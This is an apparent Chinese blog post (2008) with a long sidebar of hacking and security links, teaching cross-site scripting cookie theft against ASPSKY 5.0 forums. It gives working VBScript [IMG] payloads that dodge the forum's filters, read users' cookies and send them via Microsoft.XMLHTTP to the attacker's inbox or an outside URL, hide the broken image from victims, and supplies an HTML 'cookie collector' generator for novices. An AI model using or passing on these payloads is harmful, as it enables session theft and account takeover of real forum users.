ke vinsID:iiprogram
1164875次访问,排名20好友0人,关注者51
残云收夏暑,新雨带秋岚!
[加为好友] [即时聊天] [发私信]
iiprogram的文章
原创 1359 篇
翻译 0 篇
转载 1238 篇
评论 345 篇
Kevins的公告
    留言


自2005年07月20日

Kevins的聯係方式:
unix@yiii.net


天氣預報


最近评论
niuwed:有完整的代码吗?
liuin:高人,学习了
山东啥:你好 下载已经失效了 可以再提供吗?
山东啥:你好 下载已经失效了 可以再提供吗?
山东啥:你好 下载已经失效了 可以再提供吗?
文章分类
收藏
相册
1
test
美女
*NUX技术
delphij
hitbsecconf2005
knoppix-std
linux admin
linuxsir
LWN.net
最爱chinaunix
HOT SITES
cnbeta
et8论坛
eyeos 中文
ntdebugging
rootkit
taiwan.cnet
techeblog
web代理
三联生活周刊
中国传统节日
中日文翻译
国学网
深度
看雪学院
驱动开发网
编程技术和代码下载
80x86 Opcodes
awarenetwork
bo2k-plugins
borland update site
C++/C电子书籍
c++builder 研究
chinaaspx文档
code source
codecomments
codeguru
codegurus
codeproject
coffee个人
cprogramming
crack-warez
CrackZ's Reverse Engineering
csdn
csdnbbs文档简易
dd调试技巧代码
debugman
delphi盒子
dephi goo site
diybl
Doron Holan's Blog: Kernel-Mode Drivers
driverdevelop
driverdevsite
electronicstalk_driver
EliCZ
ext2fsd
Flier's Sky
FWB
icode
itconsult_vc
jiurl系统研究
kernel resource
kernel source
kernel-mode development link
krugle.com
LCC
lookcode
mad hook api
mfc
Michael Howard's Web Log
ms_srv protocol
msdn magazine
network code
newhua_deve
ntkernel.com
osronline
pcvc
planet-source-code
putty code
reactos
RECON
reverse-engineering
shadowgo 个人blog
smartphone开发
sockaddr.com
Source Code Search Engine
tty64
tutorialdownloads
txakynetwork(driver,firewall)
undocumented.ntinternals
uty oldblog(driver&kernel)
vbs脚本
vccode
VCFORGE
vchelp
vckbase
vc-qq
vczx
vc原动力
vc原动力
vc在线
wasm.ru
webcrazyjp
Windows network services internals
世纪站长
中国站长源码
免费ie代理1
免费代理2
拼搏
操作系统开发研究
服务器开发技术
源代码
源代码下载2
电子书
编程网摘
藏鲸阁
豆豆源码
個人輔站
another blog?
个人blog-3
人气第一的台湾小美女
個人blog
個人技術輔2
资料blog
软件工具下载
0DAY 下载
0DAY-ART
chinaitpwo资料
flash下载
icwin资料
infoxa
MYEBOOK.CN
scitech.susx
soft8
source520
tooooold_searcj
torrentreactor.net
VCBOOK
xpbook
卡饭
文学ebook
核心编程
水电
源码天空
绿色下载
计算机与信息技术杂志
超好电子书籍站
非凡绿色下载
高校教材
硬件系统
hri.sourceforge.net
juniper mannel
资讯安全国内站
艾克索夫實驗室
0GINR
0ginr
0ginr论坛
51tiger.com安全
5eCur!ty Labs
5iliby
6code
77169
aloner
Alter's home page
antiprotect
astalavista
axis#ph4nt0m BLOG
ayarei/
bluehack
c.i.s.r.t
chinafe
CISRT
cncert
cto技术圈-ddos
cvcvxk
darkshell
debugman
debugman_wintools
dm-0day
dummy24
enet安全
eva
FCG
flowercode
FreeWin
friend-hsy
greatdong
h31home
H4x0r's Blog
hackee
heifou team
http://hi.baidu.com/yuange1975
huaidan's blog
icylife
inkings
insigma
internet worm
isip.cn
Juniper-bbs
kendivblog
KIJS
lenmo
loveshell
loveshell
luoluo
LYSOFT
lzx
majun 's blog
micropoint
mj0011
n4ry
NCPh
ne365-virus
neeao's blog
neeao's millow exp
Nethackonline 网络黑客在线
nop
nosec.org
open-bug
open-bug
PANTAO
raystyle
redhyphone union
regeliu
regshot
sometips
sudami
sysadmin.cn
System Repair Engineer安全检测
System Repair Engineer安全检测
T4NK's blog
team509
techtarget中文
TINK'S BLOG
unpack
unpackcn
uuty
vfocus
vxk
vxk大侠
Windows PowerShell及微软脚本
windowssky
xizi1023 blog
xwind
yiming 管理
yunshu-blog
ZUOJIE
zwell
一蓑烟雨
东来blog
中国x黑客小组
中国信息安全研究小组(CISRG)
中国信息安全组织
中国协议分析网
中国安全信息网-企业安全方案
从c开始
冷漠blog
刘涛涛blog
华夏同盟bbs
南域剑盟
危特网安
大牛蛙
安 翼 网 络
安全中国(RSS)
安全警戒
幻影
当下放下
影子鹰安全
微点blog
成都黑客在线
攻防blog
木马帝国
武汉黑客联盟
源码网
溢出专题study
白细胞
立华软件园安全防线
第八个男人
网安俱乐部
网络安全日志
艾克索夫實驗室.
补天
邪恶八进制
邪恶八进制
邪恶的hackza镜像
邪恶的oldexp
陆麟的主页
飞花堂
鬼仔blog
黑客百宝箱
資訊安全国外站
(kernel,virus code)
0DAY
158apps
62nds virus source
62nds-virus-code
advdbg.com
alexfedoto
allife(RSS)
Alter.Org.UA
anticode(RSS)
ANTIrootkit
antirootkit
ANYSIDE-EXP
anyside-exploit
arteam
astalavista.com
auscert
bifrost
bjwever
Black Hats Manual Software Security Auditing, Cracking,
blackcode.com(RSS)
blackhat mirror
blacksecurity
blogs.borland
bluemicro.digibase
bugtraq
bugtraq2
cert.org
chasenet.org-birfost
codebreakers-journal
community.reverse-engineering
Computer Forensics
computerterrorism
cool linux hack tool site
crackserver
CrackZ's Reverse Engineering
CVC电脑病毒
dark it sec
defcon
determina
dkcs security
DOXARA
eeye_0day_tra
eggheadcafe
elicz
elitehackers
elitehaven
European Hacker Conference
EVA的回收站
Evilcry
Expcode
exploit-1
exploitdatabase
foro.elhacke
Fortinet Security Research Team(RSS)
fredeyk
freexploit
freon-security
frsirt(RSS)
f-secure.weblog
Full Disclosure
full-disclosure
full-disclosure
gmc9
gmer
governmentsecurity(RSS)
h4cky0u
hackcoza
hackerscenter(RSS)
hackersclub
hackersplayground
hackwire(RSS)
haking.pl
he4dev
heapoverflow(RSS)
hexview
hick.org
hitbsecconf
hi-tech.nsys
hsc.fr(RSS)
icst.org.tw(RSS)
igniteds
infosecdaily
infosecwriters
infosyssec
insecure.org
internals
invisiblethings
jav.ch(RSS)
jeffrey.vanderstad
kd-team
l33tsecurity
labs.idefense
lcamtuf.coredump
malware analyze & reverse engineering
Mark Russinovich blog(cool)
markrussinovich
MC AV-Test site
Memory Forensic
metasploit-SHELLCODE(RSS)
microsoft安全(RSS)
milw0rm-shellcode(RSS)
MSDN杂志
msuiche
mtaulty(RSS)
mwcollect
nessus
nessus_plugin
net-security
net-security
network-file-explorers
networksecurityarchive(cool)
neworder.box.sk
neworder.box.sk
ngssoftware(RSS)
nirsoft
niscc.gov.uk(RSS)
NIST
nmd-labs
nnove-exploits
northsecuritylabs
noxusfiles
ntbugtraq
ntcore
nteam.ru
ntsecurity
Obsidis
offensivecomputing
offensivecomputing
omcd
only4gurus
Open Source Vulnerability Database
opennet.ru-exp
openrce(RSS)
openrce
openrce-articles
opensc
open-security
opferman
osvdb
packetstorm(RSS)
phenoelit.de
progenic
pulltheplug
PWDUMP6
Raymond Chen(msdn)
RECON
remoteassessment-exploit-file
remote-exploit
Reverse Compilation Techniques
reverse engineering team
ring 0 debugger
rootkit.com
rootkitunhooker(unreal)
ruder.cdut
RUS-CERT
s0ftpj.org
sabre-security
sabre-security
sec-consult(RSS)
seclist-fulldisclosure
secunia.com
secunia.com
secureworks
secureworks
securiteam
security.ittoolbox
security.nnov.ru
security.org.sg-code
securityarchitects
security-briefings
securitycatalyst(RSS)
securitydot-exploit
securityfocus(RSS)
securityforest
securitylab.ru
security-protocols(RSS)
securityreasonExploitAlert
securitysearch.net
securitytracker
sensepost
spywareinfo
Stanford's stinson
SUCK-O
sweRAT
sysinternals forum
taosecurity
taosecurity.blogspot(cool)
techmeme
techmeme.
tenablesecurity
THC(RSS)
thc.org
The 20 Most Critical Internet Security Vulnerabilities
the Month of Kernel Bugs
The Open Source Vulnerability Database
theaimsgroup bug
thebugs.ws
thenetworksecurity
tibbar(RSS)
tibbar
tippingpoint
topix-tech
triviasecurity
undergroundnews(RSS)
undocumented
undocumented.ntinternals
uninformed
uninformed
uninformed
uninformed.org
US-CERT
virustotal detect
vuln-search
VX Heavens
wd-3(RSS)
websense
WebSense Security Labs
whitehat
wilderssecurity
Win NT, Win 2000, and Win XP Security Tips
Windows network services internals
windowsecurity(RSS)
WOODMANN
woodmann.com
xatrix.org
xzziroz
yorn security
ZDNET_security
zdnet's security
zero day (RSS)
zone-h
zone-h.
反汇编引擎distorm
最新被黑站点
查询windows不明进程
汇编引擎yasm
经典phrack(RSS)
经典ussrback(RSS)
存档
订阅我的博客
XML聚合  FeedSky

原创 跨站脚本攻击利用HTTP控件发送COOKIE收藏

新一篇: 利用OllyDbg进行源码级调试(Win32汇编语言) | 旧一篇: 利用OllyDbg进行源码级调试(Win32汇编语言)

跨站脚本攻击想必各位都已经是很熟悉了,但是得到COOKIE的时候一直有一个问题:

总是要用WINDOW.OPEN弹一个窗体出来然后发送COOKIE,这样隐秘性就大打折扣了。以前我想了一个在网页中用insertAdjacentHTML方法来注入HTML语句的办法勉强可以作到发送COOKIE不出现IE窗口,但是在实际使用中有时会遇到IE出错。

没有更好的办法了吗?以前在研究VBS病毒自动升级的时候用到一个Microsoft.XMLHTTP控件(该控件是WIN98/2K上都默认自带的东东,并且它是IE认为safe的控件!),通过它我们可以在网页中给网站发送http请求,可以是POST也可以是GET.

好了思路已经到这儿来,下面我们可以实战一下,我以ASPSKY 5.0 0320为例子。我们知道<IMG SRC="XXXXXXX">在SRC中可以写入vbscript:这样的语句。。

比如
<img src="vbscript:a=(msgbox(now))">,但是我们只能执行一个语句

比如
<img src="vbscript:a=(msgbox(now)):b=(msgbox(now))">这样都将是错误的!
怎么办法呢?在VBS中我们可以用EXECUTE语句,在JS中我们可以使用EVAL语!

比如:<img src="vbscript:execute("a=(msgbox(now)):b=(msgbox("czy""))")">
或是<img src="javascript:eval(’alert(\’nsfocus\’);alert(\’czy\’)’)">

还没有晕吧?上面你可能会注意到用VBS的execute语句时双引号要换为"这是因为:在VBS中单引号要括起字符串,必须是两个单引号代表一个又引号,并且在双引号内!所以在execute语句中我们不能用单引号,而直接用"呢,在HTML进行引号匹配的时候会和src="后的引号匹配,所以我们只能用"代替了。

引号的问题解决了,在实际应用中ASPSKY还会对我们的代码进行处理:
1:如果发现script字串,会在前面加上一个空格中国公务网 2004-5-31 15:28:52
2:如果发现http字串会认为是一个URL,并在两边加上<A>元素
3:如果发现空格会用 代替

解决问题:
1:vbscript用vbsCript代替
2:http用,""ht""+""tp...代替(vbs中引号括引号里面的应用多一对,+代表连接符)
3:空格用 代替(注不是\u0014)

在最后就是发送COOKIE的问题:
1:控件在本地可以GET,POST任意的网站,但是在网页中竟然只能
GET,POST当前服务器。。。。要不然IE就会说拒绝仿问!
2:cookie中不能有&等在URL中有特殊交意的字符

解决问题:

1:只能发给当前服务器,那么可以把COOKIE发到你在论坛上的注册的用户的邮箱嘛:)
2:replace(document.cookie,""&"",""-""),在vbs中用
replace替换函用,在例子中我把"&"换成了"-"

问题都解决了下面是实际的例子:
动网aspsky 5.0 0320测试成功

//----------------------

[IMG]vbsCript:execute("dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/
yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=发送&message=""&dat,false:http.send")[/IMG]

说明:把COOKIE发给CZY用户,邮件标题叫news
//----------------------

另控件的正常用法:
<script language=vbs>
dat=document.cookie
set http=createobject("Microsoft.XMLHTTP")
http.open "POST","http://www.chinansl.com/czy/get.asp?cook="&dat,false
http.send
tt=http.responsetext
msgbox tt
</script>

让代码更完美,现在COOKIE已经乖乖的在我们的邮箱里了,但是有一个小问题由于图片不能正常的显示会是一个小叉,旁边还有按此在新窗口浏览图片的提示。。。这又难免会让人生疑。

解决思路:

一个网页中的所有IMG元素通过document.imanges都能例举到,并且可以设置它们的大小,当width=0时就相当于HIDDEN了.
通过比较元素的src属性的值是否含有"ript"就可以判断是不是我们的图片.另外比较时大于符用>代替,0用0代替!

代码:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 
then:aa.width=0:end if:next")[/IMG]

实际应用的代码:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:
aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yan
qing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=发送&message=""&dat,false:http.send")[/IMG]

//-------------------方便菜鸟使用:)
<html> 
<script language=vbs> 
sub changeq() 
if form1.loc.value="" or form1.who.value="" then 
msgbox "没有加入地址或用户名?" 
exit sub 
end if 
loc=form1.loc.value 
user=form1.who.value 
str="[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:
aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://"&loc&"/usersms.asp?action=send&touser="&user&"&title=news&submit=发送&message=""&dat,false:http.send")[/IMG]" 
form1.area.value=str 
end sub</script> 
<body> 
<FONT SIZE=5 COLOR=RED>ASPSKY 5.0 0320 COOKI搜集器--CZY</FONT> 
<form name=form1> 
设置发送地址:<input type=text name=loc size=50><br> 
▲发送地址形如:www.nnit30.com/newbbs(newbbs是网站中论坛的安装目录最后不用加/,也
不要http://头)<br> 
发送的用户名:<input type=text name=who size=20>------------- 
<input type=button name=change value=生成代码 onclick=changeq()><br> 
生成的代码:)<textarea name=area rows=10 cols=100></textarea> 
</form> 
</body> 
</html>  

发表于 @ 2008年04月03日 00:17:00|评论(loading...)|编辑

新一篇: 利用OllyDbg进行源码级调试(Win32汇编语言) | 旧一篇: 利用OllyDbg进行源码级调试(Win32汇编语言)

评论

#EchoEye 发表于2008-07-02 21:13:59  IP: 60.166.149.*
歌很好听,文章很好,最上面的那图片是个游戏吧,“啪他碰”,在同学的PSP上玩过
发表评论  


登录
Csdn Blog version 3.1a
Copyright © Kevins